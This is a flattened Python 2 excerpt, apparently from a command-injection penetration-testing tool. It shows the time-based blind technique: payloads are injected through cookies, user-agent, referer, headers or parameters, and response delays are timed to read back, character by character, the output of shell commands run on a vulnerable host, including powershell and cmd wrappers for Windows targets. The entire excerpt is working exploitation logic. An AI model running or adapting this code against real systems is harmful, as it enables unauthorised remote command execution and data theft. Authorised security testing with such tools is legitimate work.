payload = tb_payloads.cmd_execution(separator, cmd, output_length,
timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Check for base64 / hex encoding
payload = checks.perform_payload_encoding(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write("\n" + settings.print_payload(payload_msg))
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for testing the reliability of used payload..."
print settings.print_info_msg(info_msg)
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write(settings.print_payload(payload_msg) + "\n")
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(url, vuln_parameter,
payload)
else:
how_long = examine_requests(payload, vuln_parameter,
http_request_method, url, timesec,
url_time_response)
if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >=
settings.FOUND_DIFF):
found_chars = True
break
if found_chars == True:
num_of_chars = output_length + 1
check_start = 0
check_end = 0
check_start = time.time()
output = []
percent = 0
sys.stdout.flush()
for num_of_chars in range(1, int(num_of_chars)):
for ascii_char in range(1, 3):
if alter_shell:
# Get the execution output, of shell execution.
payload = tb_payloads.fp_result_alter_shell(
separator, cmd, num_of_chars, ascii_char, timesec,
http_request_method)
else:
# Get the execution output, of shell execution.
payload = tb_payloads.fp_result(separator, cmd,
num_of_chars, ascii_char,
timesec,
http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Check for base64 / hex encoding
payload = checks.perform_payload_encoding(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write("\n" +
settings.print_payload(payload_msg))
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for testing the reliability of used payload..."
print settings.print_info_msg(info_msg)
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write(
settings.print_payload(payload_msg) + "\n")
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter,
payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(
url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter,
payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(
url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter,
http_request_method, url,
timesec, url_time_response)
if (how_long >= settings.FOUND_HOW_LONG) and (
how_long - timesec >= settings.FOUND_DIFF):
output.append(ascii_char)
break
check_end = time.time()
check_how_long = int(check_end - check_start)
output = "".join(str(p) for p in output)
if str(output) == str(randvcalc):
return how_long, output
def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, alter_shell, filename,
url_time_response):
if settings.TARGET_OS == "win":
previous_cmd = cmd
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\""
else:
cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length"
if menu.options.file_write or menu.options.file_upload:
minlen = 0
else:
minlen = 1
found_chars = False
info_msg = "Retrieving the length of execution output... "
if menu.options.verbose > 1:
info_msg += "\n"
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
for output_length in range(int(minlen), int(maxlen)):
if alter_shell:
# Execute shell commands on vulnerable host.
payload = tb_payloads.cmd_execution_alter_shell(
separator, cmd, output_length, timesec, http_request_method)
else:
# Execute shell commands on vulnerable host.
payload = tb_payloads.cmd_execution(separator, cmd, output_length,
timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Check for base64 / hex encoding
payload = checks.perform_payload_encoding(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write("\n" + settings.print_payload(payload_msg))
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print settings.print_info_msg(info_msg)
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write(settings.print_payload(payload_msg) + "\n")
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(url, vuln_parameter,
payload)
else:
how_long = examine_requests(payload, vuln_parameter,
http_request_method, url, timesec,
url_time_response)
# Examine time-responses
injection_check = False
if (how_long >= settings.FOUND_HOW_LONG
and how_long - timesec >= settings.FOUND_DIFF):
injection_check = True
if injection_check == True:
if output_length > 1:
if settings.VERBOSITY_LEVEL >= 1:
print "\n"
else:
sys.stdout.write("[" + Fore.GREEN + " SUCCEED " +
Style.RESET_ALL + "]\n")
sys.stdout.flush()
success_msg = "Retrieved " + str(
output_length) + " characters."
print settings.print_success_msg(success_msg)
found_chars = True
injection_check = False
break
# Proceed with the next (injection) step!
if found_chars == True:
num_of_chars = output_length + 1
check_start = 0
check_end = 0
check_start = time.time()
if settings.TARGET_OS == "win":
cmd = previous_cmd
output = []
percent = "0.0"
info_msg = "Presuming the execution output, please wait... "
if menu.options.verbose < 1:
info_msg += "[ " + str(percent) + "% ]"
else:
info_msg += "\n"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
for num_of_chars in range(1, int(num_of_chars)):
if num_of_chars == 1:
# Checks {A..Z},{a..z},{0..9},{Symbols}
char_pool = range(65, 90) + range(96, 122)
else:
# Checks {a..z},{A..Z},{0..9},{Symbols}
char_pool = range(96, 122) + range(65, 90)
char_pool = char_pool + range(48, 57) + range(32, 48) + range(
90, 96) + range(57, 65) + range(122, 127)
for ascii_char in char_pool:
if alter_shell:
# Get the execution output, of shell execution.
payload = tb_payloads.get_char_alter_shell(
separator, cmd, num_of_chars, ascii_char, timesec,
http_request_method)
else:
# Get the execution output, of shell execution.
payload = tb_payloads.get_char(separator, cmd,
num_of_chars, ascii_char,
timesec,
http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Check for base64 / hex encoding
payload = checks.perform_payload_encoding(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write("\n" +
settings.print_payload(payload_msg))
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print settings.print_info_msg(info_msg)
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write(
settings.print_payload(payload_msg) + "\n")
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter,
payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(
url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter,
payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(
url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter,
http_request_method, url,
timesec, url_time_response)
# Examine time-responses
injection_check = False
if (how_long >= settings.FOUND_HOW_LONG
and how_long - timesec >= settings.FOUND_DIFF):
injection_check = True
if injection_check == True:
if not settings.VERBOSITY_LEVEL >= 1:
output.append(chr(ascii_char))
percent = ((num_of_chars * 100) / output_length)
float_percent = "{0:.1f}".format(
round(
((num_of_chars * 100) / (output_length * 1.0)),
2))
info_msg = "Presuming the execution output, please wait... [ " + str(
float_percent) + "% ]"
sys.stdout.write("\r" +
settings.print_info_msg(info_msg))
sys.stdout.flush()
else:
output.append(chr(ascii_char))
injection_check = False
break
check_end = time.time()
check_how_long = int(check_end - check_start)
output = "".join(str(p) for p in output)
# Check for empty output.
if output == (len(output) * " "):
output = ""
else:
check_start = 0
if not settings.VERBOSITY_LEVEL >= 1:
sys.stdout.write("[" + Fore.RED + " FAILED " + Style.RESET_ALL +
"]")
sys.stdout.flush()
else:
print ""
check_how_long = 0
output = False
return check_how_long, output
